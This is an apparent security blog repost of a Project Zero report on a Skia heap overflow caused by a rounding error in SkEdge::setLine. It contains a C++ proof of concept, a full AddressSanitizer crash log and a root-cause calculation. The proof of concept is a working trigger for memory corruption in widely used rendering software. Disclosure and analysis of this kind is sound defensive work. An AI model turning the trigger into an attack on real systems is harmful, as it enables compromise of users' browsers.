Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86371078

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1155

Skia bug: https://bugs.chromium.org/p/skia/issues/detail?id=6294

There is a heap overflow in SkARGB32_Shader_Blitter::blitH caused by a rounding error in SkEdge::setLine. To trigger the bug Skia needs to be compiled with SK_RASTERIZE_EVEN_ROUNDING (true in, for example, Mozilla Firefox).

To demonstrate the bug, compile (with SK_RASTERIZE_EVEN_ROUNDING defined) and run the following Proof of Concept:

=================================================================
*/

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkGradientShader.h"


int main (int argc, char * const argv[]) {

    SkBitmap bitmap;
    bitmap.allocN32Pixels(1128, 500);

    //Create Canvas
    SkCanvas canvas(bitmap);

    SkColor colors[2] = {SkColorSetARGB(10,0,0,0), SkColorSetARGB(10,255,255,255)};
    SkPoint points[2] = {
       SkPoint::Make(0.0f, 0.0f),
       SkPoint::Make(256.0f, 256.0f)
    };

    SkPath path;
    path.moveTo(1128, 0.5);
    path.lineTo(-0.499, 100.5);
    path.lineTo(1128, 200);
    path.close();
    SkPaint p;
    p.setAntiAlias(false);
    p.setShader(SkGradientShader::MakeLinear(
                 points, colors, nullptr, 2,
                 SkShader::kClamp_TileMode, 0, nullptr));

    canvas.drawPath(path, p);

    return 0;
}

/*
=================================================================

The PoC leads to a heap overflow in SkARGB32_Shader_Blitter::blitH (the shader and anti aliasing settings in the PoC are made specifically to select this Blitter)

ASan log:

=================================================================
==46341==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001dea0 at pc 0x00000079d6d1 bp 0x7ffecd6a42c0 sp 0x7ffecd6a42b8
WRITE of size 4 at 0x62100001dea0 thread T0
    #0 0x79d6d0 in sk_memset32(unsigned int*, unsigned int, int) /home/ifratric/skia/skia/out/asan/../../src/core/SkUtils.cpp:18:19
    #1 0x8025f1 in SkLinearGradient::LinearGradientContext::shade4_clamp(int, int, unsigned int*, int) /home/ifratric/skia/skia/out/asan/../../src/effects/gradients/SkLinearGradient.cpp:842:13
    #2 0x802219 in SkLinearGradient::LinearGradientContext::shadeSpan(int, int, unsigned int*, int) /home/ifratric/skia/skia/out/asan/../../src/effects/gradients/SkLinearGradient.cpp:349:9
    #3 0xc946f7 in SkARGB32_Shader_Blitter::blitH(int, int, int) /home/ifratric/skia/skia/out/asan/../../src/core/SkBlitter_ARGB32.cpp:384:9
    #4 0x779484 in walk_convex_edges(SkEdge*, SkPath::FillType, SkBlitter*, int, int, void (*)(SkBlitter*, int, bool)) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:295:21
    #5 0x778107 in sk_fill_path(SkPath const&, SkIRect const&, SkBlitter*, int, int, int, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:508:9
    #6 0x77afe3 in SkScan::FillPath(SkPath const&, SkRegion const&, SkBlitter*) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:707:9
    #7 0x765792 in SkScan::FillPath(SkPath const&, SkRasterClip const&, SkBlitter*) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:745:9
    #8 0x632690 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1072:5
    #9 0x63321c in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1165:5
    #10 0xc5c5b3 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.h:54:9
    #11 0xc5c5b3 in SkBitmapDevice::drawPath(SkDraw const&, SkPath const&, SkPaint const&, SkMatrix const*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:243
    #12 0x51f6b8 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /home/ifratric/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2379:9
    #13 0x4f805d in main /home/ifratric/skia/skia/out/asan/../../crash.cpp:34:5
    #14 0x7f64ed80f82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #15 0x426788 in _start (/home/ifratric/skia/skia/out/asan/crash+0x426788)

0x62100001dea0 is located 0 bytes to the right of 4512-byte region [0x62100001cd00,0x62100001dea0)
allocated by thread T0 here:
    #0 0x4c6728 in __interceptor_malloc (/home/ifratric/skia/skia/out/asan/crash+0x4c6728)
    #1 0x7e3d38 in sk_malloc_flags(unsigned long, unsigned int) /home/ifratric/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:72:15
    #2 0x7e3d38 in sk_malloc_throw(unsigned long) /home/ifratric/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:58
    #3 0xc8598d in SkARGB32_Shader_Blitter* SkArenaAlloc::make<SkARGB32_Shader_Blitter, SkPixmap const&, SkPaint const&, SkShader::Context*&>(SkPixmap const&, SkPaint const&, SkShader::Context*&) /home/ifratric/skia/skia/out/asan/../../src/core/SkArenaAlloc.h:94:30
    #4 0xc8598d in SkBlitter::Choose(SkPixmap const&, SkMatrix const&, SkPaint const&, SkArenaAlloc*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBlitter.cpp:919
    #5 0x632542 in SkAutoBlitterChoose::choose(SkPixmap const&, SkMatrix const&, SkPaint const&, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:69:20
    #6 0x632542 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1018
    #7 0x63321c in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1165:5
    #8 0xc5c5b3 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.h:54:9
    #9 0xc5c5b3 in SkBitmapDevice::drawPath(SkDraw const&, SkPath const&, SkPaint const&, SkMatrix const*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:243
    #10 0x4f805d in main /home/ifratric/skia/skia/out/asan/../../crash.cpp:34:5
    #11 0x7f64ed80f82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ifratric/skia/skia/out/asan/../../src/core/SkUtils.cpp:18:19 in sk_memset32(unsigned int*, unsigned int, int)
Shadow bytes around the buggy address:
  0x0c427fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffbba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffbbb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fffbbc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fffbbd0: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffbc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffbc10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fffbc20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==46341==ABORTING

Further analysis:

There is a problem in SkEdge::setLine, in particular the line with x0:-0.499900, y0:100.500000, x1:1128.000000, y1:0.500000
After conversion to SkFDot6, the coordinates are going to become x0:72192, y0:32, x1:-32, y1:6432
(notice how x0 got rounded to 32 == -0.5 but I don't think this is the only problem as it gets even smaller below)
Next the line parameters are computed as follows: fFirstY:1, fLastY:100, fX:73184256, fDX:-739573
And if you calculate fX + (fLastY-fFirstY) * fDX, you get -33471 (~ -0.51) which will get rounded to -1 in walk_convex_edges and cause an overflow.
*/